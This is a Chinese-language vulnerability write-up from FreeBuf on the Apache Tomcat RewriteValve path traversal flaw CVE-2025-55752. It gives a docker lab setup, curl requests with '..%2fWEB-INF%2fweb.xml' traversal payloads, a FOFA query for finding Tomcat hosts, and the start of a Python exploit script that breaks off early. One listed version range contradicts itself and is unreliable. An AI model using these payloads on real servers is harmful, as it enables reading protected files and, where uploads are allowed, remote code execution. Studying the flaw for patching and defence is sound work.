Apache Tomcat RewriteValve路径遍历漏洞 (CVE-2025-55752)
本文介绍了Apache Tomcat组件中的路径遍历漏洞(CVE-2025-55752),详细分析了漏洞成因、影响范围及复现方法,并提供了修复建议和POC代码。 2025-11-1 11:37:46 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

1761996996_6905f0c4ab6f816c7d8ca.png!small?1761996996411

Apache Tomcat介绍:

Apache Tomcat 是一个开源的 Web 服务器和 Servlet 容器,广泛用于 Web 应用的部署和运行。Tomcat 的 RewriteValve 组件是一个服务器端的 URL 重写引擎,它允许开发者通过配置规则来动态修改传入请求的 URL 地址,常用于实现重定向、URL 美化或根据特定条件路由请求。

漏洞概述:

该漏洞产生于在 Apache Tomcat 的 RewriteValve 组件中,由于 URL 规范化与解码操作的执行顺序存在缺陷,导致攻击者能够突破安全路径限制,直接访问受保护的 /WEB-INF/ 或 /META-INF/ 敏感目录。如果同时启用了 PUT 请求或 WebDAV 功能,则攻击者可以上传恶意 JSP 文件并通过路径遍历执行,从而造成远程代码执行。

漏洞版本:

11.0.0-M1 <= Apache Tomcat < 11.0.11 
10.1.0-M1 <= Apache Tomcat < 10.0.45 
9.0.0-M1 <= Apache Tomcat < 9.0.109

FOFA:

FOFA:app="APACHE-Tomcat"

环境搭建:

复现使用docker容器进行搭建,docker镜像地址来源于Github,执行如下命令开启靶场

git clone https://ghe.misosiru.io/masahiro331/CVE-2025-55752.git 
cd CVE-2025-55752 
docker-compose up -d 
curl http://localhost:8080/

1761996540_6905eefc6abd81ae31dce.png!small?1761996540270

1761996541_6905eefd8afd7b817b99c.png!small?1761996541283

漏洞复现:

直接请求/WEB-INF/web.xml是禁止的

curl -I 'http://localhost:8080/WEB-INF/web.xml'

1761996581_6905ef25bcdc08d2d829d.png!small?1761996581472

但是可以通过..%2f通过RewriteValve绕过,/download?path=..%2fWEB-INF%2fweb.xml

RewriteValve 重写为/files/..%2fWEB-INF%2fweb.xml

网页解码

%2f→ /→ /files/../WEB-INF/web.xml→/WEB-INF/web.xml

因此

curl -I 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml'

可显示200状态码

1761996741_6905efc569e5e961155c0.png!small?1761996741703

curl -s 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml' | head -5

1761996756_6905efd4a191a946cef84.png!small?1761996757379

POC

CVE-2025-55752.py

#!/usr/bin/env python3 
 
""" 
CVE-2025-55752 Tomcat Path Traversal Exploit 
Demonstrates path traversal vulnerability through URL rewriting 
 
Usage: 
    python3 exploit.py --url http://localhost:8080 [--payload PAYLOAD] [--method PUT] 
""" 
 
import requests 
import argparse 
import sys 
import urllib.parse 
from pathlib import Path 
from typing import Optional, Tuple 
import json 
 
# Disable SSL warnings 
import urllib3 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 
 
 
class CVE202555752Exploit: 
    """Exploit for CVE-2025-55752 Tomcat Path Traversal""" 
 
    def __init__(self, target_url: str, verify_ssl: bool = False): 
        self.target_url = target_url.rstrip('/') 
        self.verify_ssl = verify_ssl 
        self.session = requests.Session() 
        self.results = [] 
 
    def test_basic_request(self) -> bool: 
        """Test basic connectivity to the t

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/455305.html
如有侵权请联系:admin#unsafe.sh